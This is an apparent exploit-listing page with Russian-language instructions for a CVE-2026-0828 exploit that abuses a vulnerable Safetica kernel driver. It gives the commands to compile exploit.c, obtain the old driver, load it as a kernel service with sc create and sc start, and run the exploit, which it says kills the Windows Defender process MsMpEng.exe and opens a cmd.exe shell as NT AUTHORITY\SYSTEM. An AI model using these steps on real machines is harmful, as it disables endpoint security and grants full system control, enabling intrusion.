## https://sploitus.com/exploit?id=AD26A088-6394-5652-9336-5554D14CD7AD
# dast
CVE-2026-0828
борка (Build): Откройте Командную строку разработчика Visual Studio (x64 Native Tools) и скомпилируйте код
:
bash
cl.exe /W3 /O1 /nologo exploit.c /Fe:exploit.exe
Подготовка: Убедитесь, что на тестовой машине установлен уязвимый драйвер Safetica (ProcessMonitorDriver.sys). Если его нет, вам нужно будет его раздобыть (например, из дистрибутива Safetica версии < 11.26.19)
.
Загрузка драйвера (от имени Администратора): Драйвер должен быть загружен в систему. Это можно сделать через консоль с правами администратора
:
bash
sc create STProcessMonitor type= kernel binPath= "C:\full\path\to\ProcessMonitorDriver.sys"
sc start STProcessMonitor
Запуск эксплойта: Теперь запустите exploit.exe. Он завершит указанный процесс (в коде это MsMpEng.exe) и откроет новое окно cmd.exe с правами NT AUTHORITY\SYSTEM